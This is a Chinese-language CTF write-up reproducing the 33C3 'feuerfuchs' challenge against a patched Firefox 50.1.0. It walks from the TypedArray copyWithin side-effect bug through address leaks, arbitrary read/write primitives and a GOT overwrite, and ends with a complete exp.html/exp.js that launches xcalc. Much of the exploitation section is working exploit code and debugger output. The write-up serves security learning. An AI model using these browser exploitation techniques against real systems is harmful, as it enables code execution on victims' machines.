firefox pwn 入门 - 33c3 feuerfuchs 复现

 

学习firefox上的漏洞利用, 找了33c3ctf saelo 出的一道题目feuerfuchs, 这里记录一下学习的过程, 比较基础。

 

环境搭建

firefox 版本为50.1.0,版本比较老了,在ubuntu 1604 下编译不会出现问题,先把源码下载下来, 题目文件在这里 下载

进入源码目录,打上patch之后编译即可,

// patch
root@prbv:~/firefox-50.1.0# patch -p1 < feuerfuchs.patch
// 获取依赖 , 都默认配置即可
root@prbv:~/firefox-50.1.0# ./mach bootstrap
// 编译, 完成之后在 obj-x86_64-pc-linux-gnu/dist/bin/firefox
root@prbv:~/firefox-50.1.0# ./mach build
// 安装到系统 这里是 /usr/local/bin/firefox
root@prbv:~/firefox-50.1.0# ./mach install
root@prbv:~/firefox-50.1.0# whereis firefox
firefox: /usr/lib/firefox /etc/firefox /usr/local/bin/firefox

搞定之后就可以直接shell 里firefox 启动,运行之后在~/.mozilla/firefox 目录下是firefox 的配置文件, 创建一个user.js, 设置 user_pref("security.sandbox.content.level", 0); , 这样firefox 的沙箱就会关闭掉

root@prbv:~/.mozilla/firefox# ls
?  Crash Reports  mqj1mx8j.default-1589856246856  profiles.ini
root@prbv:~/.mozilla/firefox# cat profiles.ini 
[General]
StartWithLastProfile=1

[Profile0]
Name=default-1589856246856
IsRelative=1
Path=mqj1mx8j.default-1589856246856
Default=1


root@prbv:~/.mozilla/firefox# cat mqj1mx8j.default-1589856246856/user.js 
user_pref("security.sandbox.content.level", 0);

也可以在firefoxabout:config 里面查看

文章涉及的所有文件都放在了这里

 

漏洞分析

patch 分析

首先看看题目给出的 patch

diff --git a/js/src/vm/TypedArrayObject.cpp b/js/src/vm/TypedArrayObject.cpp
//...
/* static */ const JSPropertySpec
 TypedArrayObject::protoAccessors[] = {
-    JS_PSG("length", TypedArray_lengthGetter, 0),
     JS_PSG("buffer", TypedArray_bufferGetter, 0),
+    JS_PSGS("length", TypedArray_lengthGetter, TypedArray_lengthSetter, 0),
     JS_PSG("byteLength", TypedArray_byteLengthGetter, 0),
+    JS_PSGS("offset", TypedArray_offsetGetter, TypedArray_offsetSetter, 0),
     JS_PSG("byteOffset", TypedArray_byteOffsetGetter, 0),
     JS_PS_END
 };
//............
jsapi.h:#define JS_PSGS(name, getter, setter, flags)

length 添加了一个setterTypedArray_lengthSetter , 然后还多了一个 offset 的 getter 和 setter

lengthSetter 在类似a=new Uint8Array(new ArrayBuffer(0x10)); a.length = 0x20 的时候调用,会检查传入的 newLength 是否越界

diff --git a/js/src/vm/TypedArrayObject.h b/js/src/vm/TypedArrayObject.h
//...
+    static bool lengthSetter(JSContext* cx, Handle<TypedArrayObject*> tarr, uint32_t newLength) {
+        if (newLength > tarr->length()) {
+            // Ensure the underlying buffer is large enough
+            ensureHasBuffer(cx, tarr);
+            ArrayBufferObjectMaybeShared* buffer = tarr->bufferEither();
            // 检查是否越界
+            if (tarr->byteOffset() + newLength * tarr->bytesPerElement() > buffer->byteLength())
+                return false;
+        }
+
+        tarr->setFixedSlot(LENGTH_SLOT, Int32Value(newLength));
+        return true;
+    }

offsetGetter 就是返回offset 这个属性而已, offsetSetter 传入一个 newOffset , TypeArray 整体offset + length 为实际分配的内存大小, 如a=new Uint8Array(new ArrayBuffer(0x60)) 这样初始化后offset ==0; length == 0x60, 然后假如a.offset = 0x58执行后,就会有offset == 0x58; length == 0x8, offset 为当前读写的指针, 类似文件的lseek

diff --git a/js/src/vm/TypedArrayObject.h b/js/src/vm/TypedArrayObject.h
index 6ac951a..3ae8934 100644
--- a/js/src/vm/TypedArrayObject.h
+++ b/js/src/vm/TypedArrayObject.h
@@ -135,12 +135,44 @@ class TypedArrayObject : public NativeObject
         MOZ_ASSERT(v.toInt32() >= 0);
         return v;
     }
+    static Value offsetValue(TypedArrayObject* tarr) {
+        return Int32Value(tarr->getFixedSlot(BYTEOFFSET_SLOT).toInt32() / tarr->bytesPerElement());
+    }
+    static bool offsetSetter(JSContext* cx, Handle<TypedArrayObject*> tarr, uint32_t newOffset) {
+        // Ensure that the new offset does not extend beyond the current bounds
        // 越界检查
+        if (newOffset > tarr->offset() + tarr->length())
+            return false;
+
+        int32_t diff = newOffset - tarr->offset();
+
+        ensureHasBuffer(cx, tarr);
+        uint8_t* ptr = static_cast<uint8_t*>(tarr->viewDataEither_());
+
+        tarr->setFixedSlot(LENGTH_SLOT, Int32Value(tarr->length() - diff));
+        tarr->setFixedSlot(BYTEOFFSET_SLOT, Int32Value(newOffset * tarr->bytesPerElement()));
+        tarr->setPrivate(ptr + diff * tarr->bytesPerElement());
+
+        return true;
+    }

到这里没有什么问题, 但是这里offsetSetter 没有考虑到side-effect的情况

漏洞分析

js/src/builtin/TypedArray.js 里可以找到TypeArray 绑定的一些函数, 主要看TypedArrayCopyWithin 函数,它会在a.copyWithin(to, from, end) 的时候调用, 作用是把fromend 的项拷贝到to 开始的地方,像下面,'c', 'd' 被拷贝到了 index == 0

js> a=['a','b','c','d','e']    
["a", "b", "c", "d", "e"]      
js> a.copyWithin(0,2,3)        
["c", "b", "c", "d", "e"]      
js> a.copyWithin(0,2,4)        
["c", "d", "c", "d", "e"]

这里假设还是a=new Uint8Array(new ArrayBuffer(0x60)) , 执行a.copyWithin(0, 0x20,0x28)

function TypedArrayCopyWithin(target, start, end = undefined) {
    // This function is not generic.
    if (!IsObject(this) || !IsTypedArray(this)) {
        return callFunction(CallTypedArrayMethodIfWrapped, this, target, start, end,
                            "TypedArrayCopyWithin");
    }
    GetAttachedArrayBuffer(this);

    var obj = this;
    // len == 0x60
    var len = TypedArrayLength(obj);

    var relativeTarget = ToInteger(target);
    // to == 0
    var to = relativeTarget < 0 ? std_Math_max(len + relativeTarget, 0)
                                : std_Math_min(relativeTarget, len);


    var relativeStart = ToInteger(start);
    // from  == 0x20
    var from = relativeStart < 0 ? std_Math_max(len + relativeStart, 0)
                                 : std_Math_min(relativeStart, len);

    var relativeEnd = end === undefined ? len
                                        : ToInteger(end);
    // final == 0x28
    var final = relativeEnd < 0 ? std_Math_max(len + relativeEnd, 0)
                                : std_Math_min(relativeEnd, len);

       // count == 0x8
    var count = std_Math_min(final - from, len - to);

   //.. memmove
    if (count > 0)
        MoveTypedArrayElements(obj, to | 0, from | 0, count | 0);

    // Step 18.
    return obj;
}

这里首先获取了len == 0x60 , 然后用ToInteger 分别获取startend 的值,这里其实就和saelo发现的jsc cve-2016-4622 差不多,先获取了len, 但是在ToInteger 里面len 可能会被更改,加入运行下面代码

a.copyWithin({ 
    valueOf: function() { 
        a.offset = 0x58 ; 
        return 0x0; 
    } }, 0x20, 0x28);

计算to 的时候ToInteger(target); 会先执行ValueOf 的代码, 完了offset == 0x58 ; length == 0x8, 后续的MoveTypedArrayElements 的读写会从a[0x58] 开始, 于是就有了越界。

测试一下

// 创建两个 ArrayBuffer, 他们内存布局上会相邻
js> a=new ArrayBuffer(0x60);
js> b=new ArrayBuffer(0x60);
js> dumpObject(a)
object 0x7ffff7e85100 from global 0x7ffff7e85060 [global]
//...
js> dumpObject(b)
object 0x7ffff7e851a0 from global 0x7ffff7e85060 [global]
//...........................
pwndbg> x/40gx 0x7ffff7e85100
// a
0x7ffff7e85100: 0x00007ffff7e82880      0x00007ffff7ea9240
0x7ffff7e85110: 0x0000000000000000      0x000055555660c2e0
0x7ffff7e85120: 0x00003ffffbf428a0      0xfff8800000000060
0x7ffff7e85130: 0xfffc000000000000      0xfff8800000000000
0x7ffff7e85140: 0x0000000000000000      0x0000000000000000
0x7ffff7e85150: 0x0000000000000000      0x0000000000000000
0x7ffff7e85160: 0x0000000000000000      0x0000000000000000
0x7ffff7e85170: 0x0000000000000000      0x0000000000000000
0x7ffff7e85180: 0x0000000000000000      0x0000000000000000
0x7ffff7e85190: 0x0000000000000000      0x0000000000000000
// b
0x7ffff7e851a0: 0x00007ffff7e82880      0x00007ffff7ea9240
0x7ffff7e851b0: 0x0000000000000000      0x000055555660c2e0
0x7ffff7e851c0: 0x00003ffffbf428f0      0xfff8800000000060
0x7ffff7e851d0: 0xfffc000000000000      0xfff8800000000000
0x7ffff7e851e0: 0x0000000000000000      0x0000000000000000
0x7ffff7e851f0: 0x0000000000000000      0x0000000000000000


js> test = new Uint8Array(a)                                                    
js> hax = {valueOf: function(){test.offset = 0x58; return 0;}}
js> test.copyWithin(hax,0x20,0x28)                                                              
// 执行之后
pwndbg> x/40gx 0x7ffff7e85100
// a
0x7ffff7e85100: 0x00007ffff7e82880      0x00007ffff7ea9240
0x7ffff7e85110: 0x0000000000000000      0x000055555660c2e0
0x7ffff7e85120: 0x00003ffffbf428a0      0xfff8800000000060
0x7ffff7e85130: 0xfffe7ffff3d003a0      0xfff8800000000000
0x7ffff7e85140: 0x0000000000000000      0x0000000000000000
0x7ffff7e85150: 0x0000000000000000      0x0000000000000000
0x7ffff7e85160: 0x0000000000000000      0x0000000000000000
0x7ffff7e85170: 0x0000000000000000      0x0000000000000000
0x7ffff7e85180: 0x0000000000000000      0x0000000000000000
                // offset == 0x58
0x7ffff7e85190: 0x0000000000000000      0x000055555660c2e0//<==
// b
0x7ffff7e851a0: 0x00007ffff7e82880      0x00007ffff7ea9240
0x7ffff7e851b0: 0x0000000000000000      0x000055555660c2e0//<===
0x7ffff7e851c0: 0x00003ffffbf428f0      0xfff8800000000060
0x7ffff7e851d0: 0xfffc000000000000      0xfff8800000000000
0x7ffff7e851e0: 0x0000000000000000      0x0000000000000000
0x7ffff7e851f0: 0x0000000000000000      0x0000000000000000
0x7ffff7e85200: 0x0000000000000000      0x0000000000000000

可以看到 b0x000055555660c2e0 被拷贝到了a 的内联数据里,这样就可以用a 获取 ArrayBuffer b 中的内存地址

 

漏洞利用

地址泄露

通过前面分析我们了解了漏洞的基本成因和效果,接下来就是这么利用了, 前面我们可以通过copyWithIn 来泄露ArrayBuffer b 的地址, 我们需要泄露出0x000055555660c2e0 , 和0x00003ffffbf428f0 这两个地址. 0x000055555660c2e0 在 jsshell 中指向js 的emptyElementsHeaderShared, 在完整的firefox 里指向 libxul.so , 通过这个地址就可以泄露出 libxul.so 的地址。

0x00003ffffbf428f0 <<1 == 0x7ffff7e851e0 指向申请的buffer, 因为这里申请的是0x60 大小的,所以是以内联的方式,通过它可以泄露出ArrayBuffer 的地址

0x7ffff7e851a0: 0x00007ffff7e82880      0x00007ffff7ea9240
0x7ffff7e851b0: 0x0000000000000000      0x000055555660c2e0//<===
                // data
0x7ffff7e851c0: 0x00003ffffbf428f0      0xfff8800000000060
0x7ffff7e851d0: 0xfffc000000000000      0xfff8800000000000
//....
pwndbg> vmmap 0x55555660c2e0
0x555555554000     0x555557509000 r-xp  1fb5000 0      /mozilla/firefox-50.1.0/js/src/build_DBG.OBJ/js/src/shell/js
// 0x00003ffffbf428f0 << 1  == 0x7ffff7e851e0

按照前面的描述,我们申请两个 ArrayBuffer

    buffer1 =  new ArrayBuffer(0x60);
    buffer2 =  new ArrayBuffer(0x60);

    a1_8 = new Uint8Array(buffer1);
    a1_32 = new Uint32Array(buffer1);
    a1_64 = new Float64Array(buffer1);


    hax = { valueOf: function() { a1_8.offset = 0x58 ; return 0x0; } };
    a1_8.copyWithin(hax,0x20,0x28);
    xul_base = f2i(a1_64[11]) -0x39b4bf0;
    memmove_got = xul_base + 0x000004b1f160
    //......................................
       a1_8.offset = 0;
    a1_8.copyWithin(hax,0x28,0x30);
    buffer1_base = f2i(a1_64[11])*2 - 0xe0;
    print("buffer1_base "+hex(buffer1_base));

gdb attach 上去看看

pwndbg> x/40gx 0x7fffcb243060 
 // buffer1
0x7fffcb243060: 0x00007fffc5acb2b0      0x00007fffc5acda10          
0x7fffcb243070: 0x0000000000000000      0x00007fffeb97ebf0          
0x7fffcb243080: 0x00003fffe5921850      0xfff8800000000060          
0x7fffcb243090: 0xfffe7fffcb2180c0      0xfff8800000000000          
0x7fffcb2430a0: 0x6162636461626364      0x0000000000000000          
0x7fffcb2430b0: 0x0000000000000000      0x0000000000000000          
0x7fffcb2430c0: 0x0000000000000000      0x0000000000000000          
0x7fffcb2430d0: 0x0000000000000000      0x0000000000000000          
0x7fffcb2430e0: 0x0000000000000000      0x0000000000000000          
0x7fffcb2430f0: 0x0000000000000000      0x00003fffe59218a0  
 //buffer2
0x7fffcb243100: 0x00007fffc5acb2b0      0x00007fffc5acda10          
0x7fffcb243110: 0x0000000000000000      0x00007fffeb97ebf0          
0x7fffcb243120: 0x00003fffe59218a0      0xfff8800000000060          
0x7fffcb243130: 0xfffe7fffcb218080      0xfff8800000000000          
0x7fffcb243140: 0x3132333431323334      0x0000000000000000          
0x7fffcb243150: 0x0000000000000000      0x0000000000000000   
//....
 pwndbg> vmmap 0x00007fffeb97ebf0 
 0x7fffe7fca000     0x7fffec68c000 r-xp  46c2000 0      /usr/local/lib/firefox-50.1.0/libxul.so

内存读写

接下来我们的做法是尝试把buffer2 的数据指针,也就是上面的0x00003fffe59218a0 改掉, 然后就可以内存读写了,这里是把它改到buffer1 的起始地址, 也就是0x7fffcb243060, 写入的是0x7fffcb243060 >> 1 == 0x3fffe5921830, 保存到buffer2 的第一项, 指定hax 返回值为0x28 ,就可以覆盖掉原来的指针

    a1_8.offset = 0;
    hax = { valueOf: function() { a1_8.offset = 0x58 ; return 0x28; } };
    a2_64[0]=i2f(buffer1_base/2);
    a1_8.copyWithin(hax,0x48,0x50);
    print(hex(f2i(a2_64[0])));

运行之后的内存布局如下(重新跑地址和前面不同), 已经成功覆盖了, 接下来就可以用buffer2[index] = xxxbuffer1 的内容

// buffer 2
0x7fffcb243240: 0x00007fffc457abe0      0x00007fffbe951880           
0x7fffcb243250: 0x0000000000000000      0x00007fffeb97ebf0           
0x7fffcb243260: 0x00003fffe59218d0      0xfff8800000000060           
0x7fffcb243270: 0xfffe7fffcb218300      0xfff8800000000000 
// 0x00003fffe59218d0 << 1
0x7fffcb243280: 0x00003fffe59218d0      0x0000000000000000           
0x7fffcb243290: 0x0000000000000000      0x0000000000000000           
0x7fffcb2432a0: 0x0000000000000000      0x0000000000000000           
0x7fffcb2432b0: 0x0000000000000000      0x0000000000000000

还是一样,把buffer1 的length 改大,然后数据的指针指向 libxul.somemmove got ,读一下就可以得到内存中memmove 的指针啦,然后就可以计算偏移算出 libc 的基地址。构造的任意地址读写代码如下

    function read64(addr){
        a2_32 = new Uint32Array(buffer2);
        a2_64 = new Float64Array(buffer2);
        a2_32[10]=0x1000;
        a2_64[4]=i2f(addr/2);
        leak = new Float64Array(buffer1);
        return f2i(leak[0]);
    }
    function write64(addr,data){
        a2_32 = new Uint32Array(buffer2);
        a2_64 = new Float64Array(buffer2);
        a2_32[10]=0x1000;
        a2_64[4]=i2f(addr/2);
        towrite = new Float64Array(buffer1);
        towrite[0] = i2f(data);
    }
    memmove_addr =  read64(memmove_got) ;
    libc_base =  memmove_addr -  0x14d9b0;
    system_addr = libc_base + 0x0000000000045390;
    print("libc_base "+hex(libc_base));
    print("system_addr "+hex(system_addr));

代码执行

okay 现在已经有了任意地址读写的能力,基本上就可以做很多事情了, 在这个版本的firefox 下, libxul 的memmove got 还是放在可写的内存段, 这个时候就可以把它改成 system 的地址后续调用copyWithin 的时候就可以劫持控制流

pwndbg> telescope 0x7fffecae9160                                                                   
00:0000│   0x7fffecae9160 —▸ 0x7ffff6e989b0 (__memmove_avx_unaligned) ◂— mov    rax, rdi           
01:0008│   0x7fffecae9168 —▸ 0x7ffff6d78e60 (tolower) ◂— lea    edx, [rdi + 0x80]                     pwndbg> vmmap 0x7fffecae9160  
0x7fffecae9000     0x7fffecb40000 rw-p    57000 4b1e000 /usr/local/lib/firefox-50.1.0/libxul.so

想下面这样,target 存入/usr/bin/xcalc , 然后执行target.copyWithin(0, 1); 内存中会执行类似memmove("/usr/bin/xcalc",1), 然后就可以弹计算器啦 (新版本的firefox 这里的memmove got 放在了rdata 段,默认不可写)

var target = new Uint8Array(100);
    var cmd = "/usr/bin/xcalc";
    for (var i = 0; i < cmd.length; i++) {
            target[i] = cmd.charCodeAt(i);
        }
    target[cmd.length]=0;
    write64(memmove_got,system_addr);
    target.copyWithin(0, 1);
    write64(memmove_got,memmove_addr);

 

exp

完整exp 如下

exp.html

<!DOCTYPE html>
<html>
<head>
  <style>
    body {
      font-family: monospace;
    }
  </style>

  <script src="exp.js"></script>
</head>
<body onload="pwn()">
  <p>Please wait...</p>
</body>
</html>

exp.js

var conversion_buffer = new ArrayBuffer(8);
var f64 = new Float64Array(conversion_buffer);
var i32 = new Uint32Array(conversion_buffer);

var BASE32 = 0x100000000;
function f2i(f) {
    f64[0] = f;
    return i32[0] + BASE32 * i32[1];
}

function i2f(i) {
    i32[0] = i % BASE32;
    i32[1] = i / BASE32;
    return f64[0];
}

function hex(addr){
    return '0x'+addr.toString(16);
}
function print(msg) {
    console.log(msg);
    document.body.innerText += 'n[+]: '+msg ;
}


function pwn(){
    buffer1 =  new ArrayBuffer(0x60);
    buffer2 =  new ArrayBuffer(0x60);

    a1_8 = new Uint8Array(buffer1);
    a1_32 = new Uint32Array(buffer1);
    a1_64 = new Float64Array(buffer1);
    a2_8 = new Uint8Array(buffer2);
    a2_32 = new Uint32Array(buffer2);
    a2_64 = new Float64Array(buffer2);

    a1_32[0]=0x61626364;
    a1_32[1]=0x61626364;

    a2_32[0]=0x31323334;
    a2_32[1]=0x31323334;

    hax = { valueOf: function() { a1_8.offset = 0x58 ; return 0x0; } };
    a1_8.copyWithin(hax,0x20,0x28);

    xul_base = f2i(a1_64[11]) -0x39b4bf0;
    memmove_got = xul_base + 0x000004b1f160
    print("xul_base "+hex(xul_base));
    // 0x7fffecae9160
    print("memmove_got "+hex(memmove_got));

    a1_8.offset = 0;
    a1_8.copyWithin(hax,0x28,0x30);
    buffer1_base = f2i(a1_64[11])*2 - 0xe0;
    print("buffer1_base "+hex(buffer1_base));

    a1_8.offset = 0;
    hax = { valueOf: function() { a1_8.offset = 0x58 ; return 0x28; } };
    a2_64[0]=i2f(buffer1_base/2);
    a1_8.copyWithin(hax,0x48,0x50);
    print(hex(f2i(a2_64[0])));



    // leak libc addr
    function read64(addr){
        a2_32 = new Uint32Array(buffer2);
        a2_64 = new Float64Array(buffer2);
        a2_32[10]=0x1000;
        a2_64[4]=i2f(addr/2);
        leak = new Float64Array(buffer1);
        return f2i(leak[0]);
    }
    function write64(addr,data){
        a2_32 = new Uint32Array(buffer2);
        a2_64 = new Float64Array(buffer2);
        a2_32[10]=0x1000;
        a2_64[4]=i2f(addr/2);
        towrite = new Float64Array(buffer1);
        towrite[0] = i2f(data);
    }
    memmove_addr =  read64(memmove_got) ;
    libc_base =  memmove_addr -  0x14d9b0;
    system_addr = libc_base + 0x0000000000045390;
    print("libc_base "+hex(libc_base));
    print("system_addr "+hex(system_addr));

    var target = new Uint8Array(100);
    var cmd = "/usr/bin/xcalc";
    for (var i = 0; i < cmd.length; i++) {
            target[i] = cmd.charCodeAt(i);
        }
    target[cmd.length]=0;
    write64(memmove_got,system_addr);
    target.copyWithin(0, 1);
    write64(memmove_got,memmove_addr);

}

运行效果

运行效果如下, 因为这里禁用了sandbox 所以可以直接弹出计算器

 

小结

这里主要是复现了33c3 的feuerfuchs 这道题目,作为入门的case study,漏洞也是比较经典的类型, 整体来说还不错。

saelo 有给出了题目的docker 环境 , 里面的环境的配置也是十分值得学习。

 

reference

https://bruce30262.github.io/Learning-browser-exploitation-via-33C3-CTF-feuerfuchs-challenge/#reference

https://doar-e.github.io/blog/2018/11/19/introduction-to-spidermonkey-exploitation/#kaizenjs

https://github.com/m1ghtym0/write-ups/tree/master/browser/33c3ctf-feuerfuchs

https://github.com/saelo/feuerfuchs

(完)